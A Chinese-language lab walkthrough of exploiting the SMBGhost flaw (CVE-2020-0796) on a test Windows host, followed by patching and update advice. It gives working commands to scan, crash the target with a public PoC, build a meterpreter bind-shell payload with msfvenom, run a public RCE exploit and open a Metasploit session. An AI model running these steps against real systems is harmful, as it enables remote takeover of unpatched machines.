永恒之黑的对象为采用Windows 10 1903之后的所有终端节点,如Windows家用版、专业版、企业版、教育版,Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标,Windows 7不受影响。
原理为由于SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。
首先下载 CVE-2020-0796扫描检测工具,对网段进行批量扫描。
(下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip)
发现搭建靶机的IP:192.168.31.117
存在漏洞风险。
Kali-linux下载蓝屏poc
1.下载CVE-2020-0796-PoC文件夹
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
2. 进入到CVE-2020-0796-PoC目录下,启动setup.py文件下载,这里类似于安装动态文件
cd CVE-2020-0796-PoC
python3 setup.py install
3. 利用poc对之前扫描出来的192.168.31.117进行攻击
python3 CVE-2020-0796.py 192.168.31.117
1.使用msf生成payload.
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o 1234.py
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
4. 将1234.py生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。为了方便使用,我直接在桌面上新建两个文本文档,将其替换,当然,这里的替换方法不唯一。
explore.py中的内容放到文本1中
最后统一复制到explore.py中
python3 exploit.py -ip 192.168.31.117
使用msf来监听本地端口
use exploit/multi/handler
使用 exploit/multi/handler模块
设置payload路径
set payload windows/x64/meterpreter/bind_tcp
设置本地端口
set lport 1234
查看还有那些需要设置的量
show options
set RHOST 192.168.31.117
设置好参数之后,开始攻击exploit
1. 如果您的操作系统是上述版本,请在根据如下链接下载修复补丁进行修护
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
2.若无法安装更新的用户可以选择遵循微软官方指南,停用SMBv3的压缩功能。
3.应及时进行Microsoft Windows版本更新并且保持Windows自动更新开启。
windows server / windows
检测并开启Windows自动更新流程如下
• 点击开始菜单,在弹出的菜单中选择“控制面板”进行下一步。
• 点击控制面板页面中的“系统和安全”,进入设置。
• 在弹出的新的界面中选择“windows update
”中的“启用或禁用自动更新”。
• 然后进入设置窗口,展开下拉菜单项,选择其中的自动安装更新(推荐)。
https://www.jianshu.com/p/cad64e889f53
1.该漏洞的补丁已打;
2.防火墙和安全工具没关;
3.注意路径和对应的端口;
4.在复制转换的过程中,重复或标点符号出问题等